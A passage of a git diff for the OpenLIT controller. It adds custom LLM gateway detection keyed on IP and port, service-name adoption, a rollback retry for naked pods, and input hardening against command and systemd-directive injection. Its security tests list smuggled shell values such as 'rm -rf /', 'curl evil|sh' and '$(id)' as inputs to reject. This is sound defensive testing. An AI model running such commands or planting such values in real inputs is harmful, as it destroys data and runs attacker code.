t.Fatalf("qwen mapping wrong: %+v", g)+ }+}++// Custom gateways enable the custom extractor only.+func TestBuildInstrumentConfigCustomGateway(t *testing.T) {+ g := buildGenAI(t, "custom")+ if !g.Custom.Enabled {+ t.Fatal("custom provider should enable the Custom extractor")+ }+ if g.OpenAI.Enabled || g.Ollama.Enabled {+ t.Fatalf("custom should not enable openai/ollama: %+v", g)+ }+}++// The configured gateway hosts flow into the OBI custom config so the extractor+// can gate on destination.+func TestBuildInstrumentConfigCustomHosts(t *testing.T) {+ cfg := BuildInstrumentConfig(+ ExportConfig{OTLPEndpoint: "http://openlit:4318"},+ nil,+ map[string]bool{"custom": true},+ []string{"litellm:4000", "vllm:8000"},+ config.DeployLinux,+ "default",+ )+ hosts := cfg.EBPF.PayloadExtraction.HTTP.GenAI.Custom.Hosts+ if len(hosts) != 2 || hosts[0] != "litellm:4000" || hosts[1] != "vllm:8000" {+ t.Fatalf("custom hosts not threaded into config: %+v", hosts)+ }+}++// Ollama (native) is opt-in and maps to its own extractor.+func TestBuildInstrumentConfigOllama(t *testing.T) {+ g := buildGenAI(t, "ollama")+ if !g.Ollama.Enabled {+ t.Fatal("ollama provider should enable the Ollama extractor")+ }+ if g.OpenAI.Enabled || g.Custom.Enabled {+ t.Fatalf("ollama should not enable openai/custom: %+v", g)+ }+}++// No providers → nothing enabled.+func TestBuildInstrumentConfigEmpty(t *testing.T) {+ g := buildGenAI(t)+ if g.OpenAI.Enabled || g.Anthropic.Enabled || g.Gemini.Enabled ||+ g.Qwen.Enabled || g.Bedrock.Enabled || g.Custom.Enabled || g.Ollama.Enabled {+ t.Fatalf("no providers should enable nothing: %+v", g)+ }+}diff --git a/openlit-controller/internal/engine/process.go b/openlit-controller/internal/engine/process.goindex 6bd90019..853c6c90 100644--- a/openlit-controller/internal/engine/process.go+++ b/openlit-controller/internal/engine/process.go@@ -94,6 +94,31 @@ func readEnviron(procRoot string, pid int) map[string]string {return env}+// userServiceNameFromEnv returns an explicit, user-configured OTel service name+// from a process's environment, or "" if none is set. Precedence follows the+// OTel SDK: OTEL_SERVICE_NAME wins, then service.name inside+// OTEL_RESOURCE_ATTRIBUTES. This lets the controller adopt the name the user+// already chose so discovery, OBI instrumentation, and SDK injection all agree+// on it (and traces match the agents summary).+func userServiceNameFromEnv(env map[string]string) string {+ if env == nil {+ return ""+ }+ if v := strings.TrimSpace(env["OTEL_SERVICE_NAME"]); v != "" {+ return v+ }+ // OTEL_RESOURCE_ATTRIBUTES is a comma-separated list of key=value pairs.+ for _, pair := range strings.Split(env["OTEL_RESOURCE_ATTRIBUTES"], ",") {+ key, value, ok := strings.Cut(pair, "=")+ if ok && strings.TrimSpace(key) == "service.name" {+ if v := strings.TrimSpace(value); v != "" {+ return v+ }+ }+ }+ return ""+}+func readCgroup(procRoot string, pid int) string {data, err := os.ReadFile(filepath.Join(procRoot, strconv.Itoa(pid), "cgroup"))if err != nil {@@ -258,6 +283,15 @@ func EnrichProcess(procRoot string, pid int, container *ContainerEnricher, modemeta.IsContainerized = true}}++ // An explicit user-set OTEL service name is authoritative: it overrides the+ // container/process-derived name so the controller, OBI instrumentation, and+ // SDK injection all report the same service.name the user already chose, and+ // the emitted traces match the agents summary row keyed on this name.+ if userName := userServiceNameFromEnv(env); userName != "" {+ meta.ServiceName = userName+ }+return meta}@@ -326,4 +360,3 @@ func restartProcessWithEnv(procRoot string, pid int, envOverrides map[string]str}return restartProcess(procRoot, pid, existingEnv)}-diff --git a/openlit-controller/internal/engine/process_test.go b/openlit-controller/internal/engine/process_test.gonew file mode 100644index 00000000..f030cab1--- /dev/null+++ b/openlit-controller/internal/engine/process_test.go@@ -0,0 +1,36 @@+package engine++import "testing"++func TestUserServiceNameFromEnv(t *testing.T) {+ cases := []struct {+ name string+ env map[string]string+ want string+ }{+ {"nil env", nil, ""},+ {"none set", map[string]string{"PATH": "/usr/bin"}, ""},+ {"OTEL_SERVICE_NAME wins", map[string]string{+ "OTEL_SERVICE_NAME": "my-svc",+ "OTEL_RESOURCE_ATTRIBUTES": "service.name=other",+ }, "my-svc"},+ {"service.name from resource attrs", map[string]string{+ "OTEL_RESOURCE_ATTRIBUTES": "deployment.environment=prod,service.name=from-attrs,foo=bar",+ }, "from-attrs"},+ {"trims whitespace", map[string]string{"OTEL_SERVICE_NAME": " spaced "}, "spaced"},+ {"empty OTEL_SERVICE_NAME falls through to attrs", map[string]string{+ "OTEL_SERVICE_NAME": "",+ "OTEL_RESOURCE_ATTRIBUTES": "service.name=attr-svc",+ }, "attr-svc"},+ {"resource attrs without service.name", map[string]string{+ "OTEL_RESOURCE_ATTRIBUTES": "deployment.environment=prod",+ }, ""},+ }+ for _, tc := range cases {+ t.Run(tc.name, func(t *testing.T) {+ if got := userServiceNameFromEnv(tc.env); got != tc.want {+ t.Fatalf("got %q, want %q", got, tc.want)+ }+ })+ }+}diff --git a/openlit-controller/internal/engine/python_sdk.go b/openlit-controller/internal/engine/python_sdk.goindex 97a4a8e0..2b0190cd 100644--- a/openlit-controller/internal/engine/python_sdk.go+++ b/openlit-controller/internal/engine/python_sdk.go@@ -8,6 +8,7 @@ import ("net/url""sort""strings"+ "time""github.com/openlit/openlit/openlit-controller/internal/config""github.com/openlit/openlit/openlit-controller/internal/openlit"@@ -101,6 +102,13 @@ func (e *Engine) EnablePythonSDK(serviceID string, payload openlit.PythonSDKActiif payload.SDKVersion == "" {payload.SDKVersion = e.sdkVersion}+ // sdk_version is attacker-controllable (it arrives in the poll action payload+ // and is interpolated into pip install commands, including shell strings for+ // the k8s init container / docker helper). Reject anything that isn't a plain+ // PEP 440-style version before it can reach any exec path.+ if !isValidSDKVersion(payload.SDKVersion) {+ return fmt.Errorf("invalid sdk_version %q: must match a PEP 440 version (letters, digits, . _ + -)", payload.SDKVersion)+ }if payload.Environment == "" {payload.Environment = e.environment}@@ -605,7 +613,19 @@ func (e *Engine) enablePythonSDKNakedPod(svc *openlit.ServiceState, payload open}}- originalPodJSON, _ := json.Marshal(pod)+ // Capture the original spec for rollback BEFORE the destructive delete. A+ // naked pod has no controller to recreate it, so the delete→create window is+ // the danger zone: log the full original spec at Error level first so it is+ // recoverable from controller logs even if the process dies mid-recreate.+ originalPodJSON, marshalErr := json.Marshal(pod)+ if marshalErr != nil {+ return fmt.Errorf("marshaling naked pod %s/%s before SDK injection: %w", namespace, podName, marshalErr)+ }+ e.logger.Info("recreating naked pod for SDK injection; original spec captured for rollback",+ zap.String("namespace", namespace),+ zap.String("pod", podName),+ zap.ByteString("original_spec", originalPodJSON),+ )if err := e.container.k8sClient.deletePod(namespace, podName, 0); err != nil {return fmt.Errorf("deleting naked pod %s/%s for SDK injection: %w", namespace, podName, err)@@ -620,8 +640,23 @@ func (e *Engine) enablePythonSDKNakedPod(svc *openlit.ServiceState, payload openvar originalPod map[string]anyif unmarshalErr := json.Unmarshal(originalPodJSON, &originalPod); unmarshalErr == nil {stripPodRuntimeFields(originalPod)- if restoreErr := e.container.k8sClient.createPod(namespace, originalPod); restoreErr != nil {- e.logger.Error("CRITICAL: naked pod rollback failed — pod is deleted and could not be restored. Manual intervention required.",+ // Retry the rollback a few times — a transient API error must not be+ // the difference between a recovered pod and a lost one.+ var restoreErr error+ for attempt := 1; attempt <= 3; attempt++ {+ if restoreErr = e.container.k8sClient.createPod(namespace, originalPod); restoreErr == nil {+ break+ }+ e.logger.Warn("naked pod rollback attempt failed, retrying",+ zap.String("namespace", namespace),+ zap.String("pod", podName),+ zap.Int("attempt", attempt),+ zap.Error(restoreErr),+ )+ time.Sleep(time.Duration(attempt) * time.Second)+ }+ if restoreErr != nil {+ e.logger.Error("CRITICAL: naked pod rollback failed — pod is deleted and could not be restored. Original spec is in the preceding 'original_spec' log line. Manual intervention required.",zap.String("namespace", namespace),zap.String("pod", podName),zap.Error(restoreErr),@@ -1062,10 +1097,16 @@ func formatOTLPHeaders(headers map[string]string) string {}func pythonSDKConfigHash(svc *openlit.ServiceState, payload openlit.PythonSDKActionPayload) string {- data, _ := json.Marshal(map[string]any{+ data, err := json.Marshal(map[string]any{"service": svc.ID,"payload": payload,})+ if err != nil {+ // Marshal of these plain structs should never fail, but if it does, fall+ // back to a value-derived representation so distinct configs don't all+ // collide onto the hash of "null".+ data = []byte(fmt.Sprintf("%s|%+v", svc.ID, payload))+ }sum := sha256.Sum256(data)return hex.EncodeToString(sum[:8])}@@ -1116,17 +1157,21 @@ func findTargetContainer(workload map[string]any, containerName string) (map[str}func selectContainerIndex(containers []map[string]any, containerName string) (int, error) {- if containerName == "" && len(containers) == 1 {- return 0, nil+ // No target name specified: only unambiguous when there's exactly one container.+ if containerName == "" {+ if len(containers) == 1 {+ return 0, nil+ }+ return -1, fmt.Errorf("no container name specified and pod has %d containers", len(containers))}+ // A name was specified: require an exact match. Do NOT silently fall back to+ // containers[0] on mismatch — injecting into the wrong container is worse+ // than failing the action visibly.for index, container := range containers {if container["name"] == containerName {return index, nil}}- if len(containers) == 1 {- return 0, nil- }return -1, fmt.Errorf("failed to resolve target container %q", containerName)}diff --git a/openlit-controller/internal/engine/sdk_bundle.go b/openlit-controller/internal/engine/sdk_bundle.goindex 47201e87..bb6cf46a 100644--- a/openlit-controller/internal/engine/sdk_bundle.go+++ b/openlit-controller/internal/engine/sdk_bundle.go@@ -5,6 +5,7 @@ import ("os""os/exec""path/filepath"+ "regexp")const (@@ -12,8 +13,31 @@ const (pythonSDKBootstrapDirName = "bootstrap")+// sdkVersionPattern allows only PEP 440-ish version strings: letters, digits,+// and the separators . _ + - (e.g. "1.34.0", "1.34.0rc1", "1.34.0+local").+// Crucially it forbids whitespace, quotes, ;, |, &, $, backticks, /, etc., so a+// version value can never break out of the `openlit==<version>` install command+// (including the shell-string variant used for the k8s/docker helper).+var sdkVersionPattern = regexp.MustCompile(`^[A-Za-z0-9][A-Za-z0-9._+-]*$`)++// isValidSDKVersion reports whether v is safe to interpolate into a pip install+// command. The empty string is valid (means "latest"). Validation is enforced+// at the action ingress (EnablePythonSDK); this is also called defensively here.+func isValidSDKVersion(v string) bool {+ if v == "" {+ return true+ }+ if len(v) > 64 {+ return false+ }+ return sdkVersionPattern.MatchString(v)+}+func pypiPackageSpec(version string) string {- if version == "" {+ // Defense in depth: never emit an install spec for an unvalidated version.+ // Callers validate at ingress; if an invalid value somehow reaches here,+ // fall back to the unpinned package rather than build an injectable spec.+ if version == "" || !isValidSDKVersion(version) {return "openlit"}return "openlit==" + versiondiff --git a/openlit-controller/internal/engine/security_test.go b/openlit-controller/internal/engine/security_test.gonew file mode 100644index 00000000..10cb6306--- /dev/null+++ b/openlit-controller/internal/engine/security_test.go@@ -0,0 +1,77 @@+package engine++import "testing"++func TestIsValidSDKVersion(t *testing.T) {+ valid := []string{+ "", // empty == latest+ "1.34.0",+ "1.34.0rc1",+ "1.34.0.post1",+ "1.34.0+local.1",+ "2024.1",+ "1_2_3",+ }+ for _, v := range valid {+ if !isValidSDKVersion(v) {+ t.Errorf("expected %q to be valid", v)+ }+ }++ // Anything that could break out of `openlit==<v>` in a shell or pip arg.+ invalid := []string{+ "1.0.0; rm -rf /",+ "1.0.0 && curl evil|sh",+ "1.0.0`whoami`",+ "$(id)",+ "1.0.0\nmalicious",+ "1.0.0 --extra-index-url=http://evil",+ "../../etc/passwd",+ "openlit; pip install evil",+ "-rfoo", // leading dash (pip option injection)+ ".hidden", // must start alnum+ }+ for _, v := range invalid {+ if isValidSDKVersion(v) {+ t.Errorf("expected %q to be REJECTED", v)+ }+ }+}++func TestPypiPackageSpecNeverInjects(t *testing.T) {+ // An invalid version must never produce an injectable spec.+ if got := pypiPackageSpec("1.0.0; rm -rf /"); got != "openlit" {+ t.Fatalf("invalid version leaked into spec: %q", got)+ }+ if got := pypiPackageSpec("1.34.0"); got != "openlit==1.34.0" {+ t.Fatalf("valid version spec wrong: %q", got)+ }+ if got := pypiPackageSpec(""); got != "openlit" {+ t.Fatalf("empty spec wrong: %q", got)+ }+}++func TestSelectContainerIndexNoSilentFallback(t *testing.T) {+ two := []map[string]any{{"name": "app"}, {"name": "sidecar"}}+ // A specified-but-unmatched name must error, NOT fall back to index 0.+ if _, err := selectContainerIndex(two, "missing"); err == nil {+ t.Fatal("expected error for unmatched container name in multi-container pod")+ }+ one := []map[string]any{{"name": "only"}}+ // Single container with a wrong name still must not be assumed.+ if _, err := selectContainerIndex(one, "wrongname"); err == nil {+ t.Fatal("expected error for unmatched name even in single-container pod")+ }+ // Exact match works.+ if idx, err := selectContainerIndex(two, "sidecar"); err != nil || idx != 1 {+ t.Fatalf("expected idx=1, got idx=%d err=%v", idx, err)+ }+ // Empty name + single container is the one allowed implicit case.+ if idx, err := selectContainerIndex(one, ""); err != nil || idx != 0 {+ t.Fatalf("expected idx=0 for empty name single container, got %d err=%v", idx, err)+ }+ // Empty name + multiple containers is ambiguous → error.+ if _, err := selectContainerIndex(two, ""); err == nil {+ t.Fatal("expected error for empty name with multiple containers")+ }+}diff --git a/openlit-controller/internal/engine/systemd.go b/openlit-controller/internal/engine/systemd.goindex 289b0afe..c9646463 100644--- a/openlit-controller/internal/engine/systemd.go+++ b/openlit-controller/internal/engine/systemd.go@@ -119,8 +119,24 @@ type systemdOTLPPayload struct {Environment string}+// escapeSystemdValue makes a string safe to embed inside a double-quoted+// systemd Environment="KEY=<value>" directive. Inputs can be attacker-influenced+// (e.g. a user-set OTEL_SERVICE_NAME adopted as service name, or poll-supplied+// OTLP settings), so we must prevent breaking out of the quoted value into new+// unit directives. Order matters: escape backslashes first, then quotes, then+// drop all C0 control characters (0x00–0x1F): CR/LF would terminate the directive+// and inject a new one; tabs and other controls are invalid in a single-line value.func escapeSystemdValue(value string) string {- return strings.ReplaceAll(value, "\"", "\\\"")+ value = strings.ReplaceAll(value, "\\", "\\\\")+ value = strings.ReplaceAll(value, "\"", "\\\"")+ value = strings.Map(func(r rune) rune {+ // Drop every C0 control (including tab); none are valid here.+ if r == '\n' || r == '\r' || (r >= 0 && r < 0x20) {+ return -1+ }+ return r+ }, value)+ return value}func readSystemdDropInConfigHash(unit string) string {diff --git a/openlit-controller/internal/engine/systemd_test.go b/openlit-controller/internal/engine/systemd_test.goindex 493689ef..d1060141 100644--- a/openlit-controller/internal/engine/systemd_test.go+++ b/openlit-controller/internal/engine/systemd_test.go@@ -134,8 +134,26 @@ func TestReadSystemdDropInConfigHash(t *testing.T) {}func TestEscapeSystemdValue(t *testing.T) {- got := escapeSystemdValue(`value with "quotes"`)- if got != `value with \"quotes\"` {- t.Errorf("got %q", got)+ cases := []struct{ in, want string }{+ {`value with "quotes"`, `value with \"quotes\"`},+ {`back\slash`, `back\\slash`},+ // Newline injection must be neutralized — otherwise a crafted value could+ // inject a new Environment=/[Service] directive into the unit drop-in.+ {"a\nEnvironment=\"EVIL=1\"", `aEnvironment=\"EVIL=1\"`},+ {"a\r\nb", "ab"},+ {"tab\tafter", "tabafter"},+ }+ for _, c := range cases {+ if got := escapeSystemdValue(c.in); got != c.want {+ t.Errorf("escapeSystemdValue(%q) = %q, want %q", c.in, got, c.want)+ }+ }+ // Critical invariant: output never contains a raw line break.+ for _, in := range []string{"x\ny", "x\r\ny", "a\nb\nc"} {+ for _, r := range escapeSystemdValue(in) {+ if r == '\n' || r == '\r' {+ t.Fatalf("escapeSystemdValue(%q) left a line break", in)+ }+ }}}diff --git a/openlit-controller/internal/engine/workload_test.go b/openlit-controller/internal/engine/workload_test.goindex f3968d86..0acb57c9 100644--- a/openlit-controller/internal/engine/workload_test.go+++ b/openlit-controller/internal/engine/workload_test.go@@ -42,12 +42,33 @@ func TestBuildWorkloadKeyStableForNakedPods(t *testing.T) {PodUID: "some-uid-123",}+ // The container-name suffix is infra-derived only (ContainerName/ContainerID),+ // never ServiceName — so a user-set OTEL_SERVICE_NAME cannot shift the key.+ // With no container info the suffix is the stable "default" literal; the key+ // remains unique via namespace + pod name.got := buildWorkloadKey(meta, config.DeployKubernetes)- if got != "k8s:openlit:gemini-app:gemini-app" {+ if got != "k8s:openlit:gemini-app:default" {t.Fatalf("expected stable key using pod name, got %q", got)}}+// The workload key must NOT change when a user sets OTEL_SERVICE_NAME (which+// flows into meta.ServiceName) — identity is infrastructure-derived.+func TestBuildWorkloadKeyIgnoresServiceNameOverride(t *testing.T) {+ base := &ProcessMetadata{+ Namespace: "openlit",+ ServiceName: "original",+ PodName: "gemini-app",+ ContainerName: "app",+ }+ renamed := *base+ renamed.ServiceName = "user-chosen-name" // simulates OTEL_SERVICE_NAME override++ if buildWorkloadKey(base, config.DeployKubernetes) != buildWorkloadKey(&renamed, config.DeployKubernetes) {+ t.Fatal("workload key changed when ServiceName changed — would cause a duplicate agent listing")+ }+}+func TestBuildWorkloadKeySeparatesNamespaces(t *testing.T) {first := &ProcessMetadata{Namespace: "team-a",@@ -239,6 +260,7 @@ func TestBuildInstrumentConfigEnablesOnlyDetectedProviders(t *testing.T) {"openai": true,"bedrock": true,},+ nil,config.DeployLinux,"default",)diff --git a/openlit-controller/internal/openlit/client.go b/openlit-controller/internal/openlit/client.goindex 39090952..29f85276 100644--- a/openlit-controller/internal/openlit/client.go+++ b/openlit-controller/internal/openlit/client.go@@ -2,6 +2,7 @@ package openlitimport ("bytes"+ "context""encoding/json""fmt""io"@@ -30,15 +31,15 @@ func NewClient(baseURL, apiKey string, logger *zap.Logger) *Client {}}-func (c *Client) Poll(req *PollRequest) (*PollResponse, error) {+func (c *Client) Poll(ctx context.Context, req *PollRequest) (*PollResponse, error) {resp := &PollResponse{}- if err := c.post("/api/controller/poll", req, resp); err != nil {+ if err := c.post(ctx, "/api/controller/poll", req, resp); err != nil {return nil, fmt.Errorf("poll: %w", err)}return resp, nil}-func (c *Client) post(path string, body interface{}, out interface{}) error {+func (c *Client) post(ctx context.Context, path string, body interface{}, out interface{}) error {data, err := json.Marshal(body)if err != nil {return fmt.Errorf("marshal request: %w", err)@@ -48,7 +49,7 @@ func (c *Client) post(path string, body interface{}, out interface{}) error {if err != nil {return fmt.Errorf("build URL: %w", err)}- req, err := http.NewRequest(http.MethodPost, u, bytes.NewReader(data))+ req, err := http.NewRequestWithContext(ctx, http.MethodPost, u, bytes.NewReader(data))if err != nil {return fmt.Errorf("create request: %w", err)}diff --git a/openlit-controller/internal/openlit/types.go b/openlit-controller/internal/openlit/types.goindex 3e32b072..670af278 100644--- a/openlit-controller/internal/openlit/types.go+++ b/openlit-controller/internal/openlit/types.go@@ -79,24 +79,24 @@ type ActionResult struct {}type DiscoveredService struct {- ServiceName string `json:"service_name"`- WorkloadKey string `json:"workload_key,omitempty"`- Namespace string `json:"namespace,omitempty"`- LanguageRuntime string `json:"language_runtime,omitempty"`- LLMProviders []string `json:"llm_providers"`- OpenPorts []uint16 `json:"open_ports,omitempty"`- DeploymentName string `json:"deployment_name,omitempty"`- PID int `json:"pid,omitempty"`- ExePath string `json:"exe_path,omitempty"`- InstrumentationStatus string `json:"instrumentation_status"`- AgentObservabilityStatus string `json:"agent_observability_status,omitempty"`- AgentObservabilitySource string `json:"agent_observability_source,omitempty"`- ObservabilityConflict string `json:"observability_conflict,omitempty"`- ObservabilityReason string `json:"observability_reason,omitempty"`+ ServiceName string `json:"service_name"`+ WorkloadKey string `json:"workload_key,omitempty"`+ Namespace string `json:"namespace,omitempty"`+ LanguageRuntime string `json:"language_runtime,omitempty"`+ LLMProviders []string `json:"llm_providers"`+ OpenPorts []uint16 `json:"open_ports,omitempty"`+ DeploymentName string `json:"deployment_name,omitempty"`+ PID int `json:"pid,omitempty"`+ ExePath string `json:"exe_path,omitempty"`+ InstrumentationStatus string `json:"instrumentation_status"`+ AgentObservabilityStatus string `json:"agent_observability_status,omitempty"`+ AgentObservabilitySource string `json:"agent_observability_source,omitempty"`+ ObservabilityConflict string `json:"observability_conflict,omitempty"`+ ObservabilityReason string `json:"observability_reason,omitempty"`// LifecycleStatus is the controller's last-known lifecycle state for the// workload ("running"/"stopped"/"restarting"). Echoed via// resource_attributes["openlit.lifecycle.status"] for the dashboard rollup.- LifecycleStatus string `json:"lifecycle_status,omitempty"`+ LifecycleStatus string `json:"lifecycle_status,omitempty"`FirstSeen string `json:"first_seen,omitempty"`ResourceAttributes map[string]string `json:"resource_attributes,omitempty"`}diff --git a/openlit-controller/internal/scanner/bpf/llm_scanner.bpf.c b/openlit-controller/internal/scanner/bpf/llm_scanner.bpf.cindex c380c55b..9c65587f 100644--- a/openlit-controller/internal/scanner/bpf/llm_scanner.bpf.c+++ b/openlit-controller/internal/scanner/bpf/llm_scanner.bpf.c@@ -5,12 +5,19 @@char LICENSE[] SEC("license") = "Dual MIT/GPL";+/* max_entries is sized for the built-in SaaS endpoints (each CDN-fronted host+ * resolves to many A records) plus a generous allowance for user-configured+ * custom hosts. A plain HASH (not LRU) is used deliberately: LRU eviction on a+ * discovery map would silently stop detecting a still-valid endpoint. The Go+ * side prunes stale keys on every refresh, so the map cannot grow unbounded+ * from DNS churn. If the ceiling is ever hit, inserts return E2BIG and the+ * resolver logs a warning rather than corrupting existing entries. */struct {__uint(type, BPF_MAP_TYPE_HASH);- __uint(max_entries, 512);- __type(key, __u32);+ __uint(max_entries, 4096);+ __type(key, struct llm_endpoint_key);__type(value, __u8);-} llm_ipv4 SEC(".maps");+} llm_endpoints SEC(".maps");struct {__uint(type, BPF_MAP_TYPE_RINGBUF);@@ -22,10 +29,12 @@ int BPF_KPROBE(trace_v4, struct sock *sk, struct sockaddr *uaddr) {struct sockaddr_in sin = {};bpf_probe_read_kernel(&sin, sizeof(sin), uaddr);- if (__builtin_bswap16(sin.sin_port) != 443)- return 0;+ struct llm_endpoint_key key = {+ .addr = sin.sin_addr.s_addr,+ .port = __builtin_bswap16(sin.sin_port),+ };- __u8 *prov = bpf_map_lookup_elem(&llm_ipv4, &sin.sin_addr.s_addr);+ __u8 *prov = bpf_map_lookup_elem(&llm_endpoints, &key);if (!prov)return 0;@@ -35,8 +44,8 @@ int BPF_KPROBE(trace_v4, struct sock *sk, struct sockaddr *uaddr) {__u64 pid_tgid = bpf_get_current_pid_tgid();ev->pid = pid_tgid >> 32;- ev->daddr = sin.sin_addr.s_addr;- ev->dport = 443;+ ev->daddr = key.addr;+ ev->dport = key.port;ev->provider = *prov;bpf_get_current_comm(&ev->comm, sizeof(ev->comm));@@ -49,15 +58,17 @@ int BPF_KPROBE(trace_v6, struct sock *sk, struct sockaddr *uaddr6) {struct sockaddr_in6 sin6 = {};bpf_probe_read_kernel(&sin6, sizeof(sin6), uaddr6);- if (__builtin_bswap16(sin6.sin6_port) != 443)- return 0;-/* Handle IPv4-mapped IPv6 addresses (::ffff:x.x.x.x) */__u32 *a32 = (__u32 *)&sin6.sin6_addr;if (a32[0] != 0 || a32[1] != 0 || a32[2] != __builtin_bswap32(0x0000FFFF))return 0;- __u8 *prov = bpf_map_lookup_elem(&llm_ipv4, &a32[3]);+ struct llm_endpoint_key key = {+ .addr = a32[3],+ .port = __builtin_bswap16(sin6.sin6_port),+ };++ __u8 *prov = bpf_map_lookup_elem(&llm_endpoints, &key);if (!prov)return 0;@@ -67,8 +78,8 @@ int BPF_KPROBE(trace_v6, struct sock *sk, struct sockaddr *uaddr6) {__u64 pid_tgid = bpf_get_current_pid_tgid();ev->pid = pid_tgid >> 32;- ev->daddr = a32[3];- ev->dport = 443;+ ev->daddr = key.addr;+ ev->dport = key.port;ev->provider = *prov;bpf_get_current_comm(&ev->comm, sizeof(ev->comm));diff --git a/openlit-controller/internal/scanner/bpf/llm_scanner.h b/openlit-controller/internal/scanner/bpf/llm_scanner.hindex 8265cb8a..b5cfd473 100644--- a/openlit-controller/internal/scanner/bpf/llm_scanner.h+++ b/openlit-controller/internal/scanner/bpf/llm_scanner.h@@ -1,6 +1,10 @@#ifndef __LLM_SCANNER_H#define __LLM_SCANNER_H+/* Provider IDs are assigned and interpreted on the Go side (see+ * internal/scanner/types.go); these defines are informational. Built-in SaaS+ * providers use 1-12 (+ Bedrock regions 20-26); all user-configured custom+ * gateways collapse to a single PROVIDER_CUSTOM. */#define PROVIDER_OPENAI 1#define PROVIDER_ANTHROPIC 2#define PROVIDER_GEMINI 3@@ -10,6 +14,18 @@#define PROVIDER_DEEPSEEK 7#define PROVIDER_TOGETHER 8#define PROVIDER_FIREWORKS 9+#define PROVIDER_CUSTOM 13++/* Key for the llm_endpoints map: destination IPv4 (network byte order) plus+ * destination port (host byte order). Keying on IP+port lets us match+ * self-hosted proxies that listen on non-443 ports (LiteLLM :4000,+ * Ollama :11434, vLLM :8000, ...) without false-positive matching every+ * connection to a shared IP. __attribute__((packed)) keeps the key layout+ * identical between the BPF program and the Go side. */+struct llm_endpoint_key {+ __u32 addr; /* IPv4, network byte order */+ __u16 port; /* destination port, host byte order */+} __attribute__((packed));struct llm_event {__u32 pid;diff --git a/openlit-controller/internal/scanner/connscan.go b/openlit-controller/internal/scanner/connscan.goindex c425b250..ba11b35b 100644--- a/openlit-controller/internal/scanner/connscan.go+++ b/openlit-controller/internal/scanner/connscan.go@@ -12,6 +12,7 @@ import ("path/filepath""strconv""strings"+ "sync""go.uber.org/zap")@@ -19,41 +20,50 @@ import (const tcpEstablished = "01"// ConnScanner scans /proc/net/tcp{,6} for established connections to known-// LLM API IPs. This catches connections that already existed before the+// LLM API endpoints. This catches connections that already existed before the// kprobe was attached (e.g. apps with long-lived HTTP keep-alive pools).+//+// Endpoints are keyed on IP+port so self-hosted proxies on non-443 ports+// (LiteLLM :4000, Ollama :11434, vLLM :8000, ...) are matched without+// flagging unrelated traffic to a shared IP.type ConnScanner struct {procRoot string- knownIPs map[[4]byte]uint8 // IPv4 -> provider_id (mirrors BPF map)logger *zap.Logger++ // mu guards knownEndpoints. The map is replaced wholesale (never mutated in+ // place), so readers snapshot the reference under RLock and use it lock-free.+ // UpdateEndpoints runs from the refresh loop while Scan runs from the conn+ // scan loop, so this access must be synchronised.+ mu sync.RWMutex+ knownEndpoints map[endpointKey]uint8 // IPv4+port -> provider_id (mirrors BPF map)}func NewConnScanner(procRoot string, logger *zap.Logger) *ConnScanner {return &ConnScanner{- procRoot: procRoot,- knownIPs: make(map[[4]byte]uint8),- logger: logger,+ procRoot: procRoot,+ knownEndpoints: make(map[endpointKey]uint8),+ logger: logger,}}-// UpdateIPs rebuilds the known-IP set from resolved LLM hosts.-// Called after each HostResolver.Refresh().-func (c *ConnScanner) UpdateIPs(resolved map[string][]net.IP) {- c.knownIPs = make(map[[4]byte]uint8, len(resolved)*4)- for host, ips := range resolved {- provID, ok := llmHosts[host]- if !ok {- continue- }- for _, ip := range ips {- ip4 := ip.To4()- if ip4 == nil {- continue- }- var key [4]byte- copy(key[:], ip4)- c.knownIPs[key] = provID- }+// UpdateEndpoints rebuilds the known-endpoint set from resolved targets.+// Called after each RefreshAndUpdateBoth resolution cycle.+func (c *ConnScanner) UpdateEndpoints(resolved map[endpointKey]uint8) {+ next := make(map[endpointKey]uint8, len(resolved))+ for k, v := range resolved {+ next[k] = v}+ c.mu.Lock()+ c.knownEndpoints = next+ c.mu.Unlock()+}++// endpointsSnapshot returns the current known-endpoint map. The returned map is+// read-only and must not be mutated (it is shared with future readers).+func (c *ConnScanner) endpointsSnapshot() map[endpointKey]uint8 {+ c.mu.RLock()+ defer c.mu.RUnlock()+ return c.knownEndpoints}// Scan finds established connections to known LLM API IPs and attributes each@@ -72,7 +82,10 @@ func (c *ConnScanner) UpdateIPs(resolved map[string][]net.IP) {// To avoid redundantly parsing the same /proc/<pid>/net/tcp for PIDs that// share a network namespace, results are cached by namespace inode.func (c *ConnScanner) Scan() []LLMConnectEvent {- if len(c.knownIPs) == 0 {+ // Snapshot the endpoint set once for the whole scan so it's consistent and+ // lock-free for the duration (the map is never mutated in place).+ known := c.endpointsSnapshot()+ if len(known) == 0 {return nil}@@ -107,7 +120,7 @@ func (c *ConnScanner) Scan() []LLMConnectEvent {inodeToMatch = make(map[uint64]connMatch)for _, variant := range []string{"tcp", "tcp6"} {path := filepath.Join(pidDir, "net", variant)- matches := c.scanTCPFileWithInodes(path, variant == "tcp6")+ matches := c.scanTCPFileWithInodes(path, variant == "tcp6", known)for _, m := range matches {inodeToMatch[m.inode] = m}@@ -127,7 +140,7 @@ func (c *ConnScanner) Scan() []LLMConnectEvent {if !ok {continue}- key := fmt.Sprintf("%d:%s", pid, m.remoteIP)+ key := fmt.Sprintf("%d:%s:%d", pid, m.remoteIP, m.remotePort)if _, dup := seen[key]; dup {continue}@@ -191,7 +204,7 @@ func readSocketInodes(fdDir string) []uint64 {// scanTCPFileWithInodes parses /proc/net/tcp{,6} and returns connections// to known LLM IPs along with their socket inode numbers.-func (c *ConnScanner) scanTCPFileWithInodes(path string, isV6 bool) []connMatch {+func (c *ConnScanner) scanTCPFileWithInodes(path string, isV6 bool, known map[endpointKey]uint8) []connMatch {f, err := os.Open(path)if err != nil {return nil@@ -211,12 +224,13 @@ func (c *ConnScanner) scanTCPFileWithInodes(path string, isV6 bool) []connMatchcontinue}ip4, port := parseHexIPPort(fields[2], isV6)- if ip4 == nil || port != 443 {+ if ip4 == nil {continue}- var key [4]byte- copy(key[:], ip4)- provID, ok := c.knownIPs[key]+ var key endpointKey+ copy(key.Addr[:], ip4)+ key.Port = port+ provID, ok := known[key]if !ok {continue}@@ -224,13 +238,14 @@ func (c *ConnScanner) scanTCPFileWithInodes(path string, isV6 bool) []connMatchif err != nil {continue}- matches = append(matches, connMatch{remoteIP: ip4, providerID: provID, inode: inode})+ matches = append(matches, connMatch{remoteIP: ip4, remotePort: port, providerID: provID, inode: inode})}return matches}type connMatch struct {remoteIP net.IP+ remotePort uint16providerID uint8inode uint64}@@ -277,47 +292,12 @@ func parseHexIPPort(s string, isV6 bool) (net.IP, uint16) 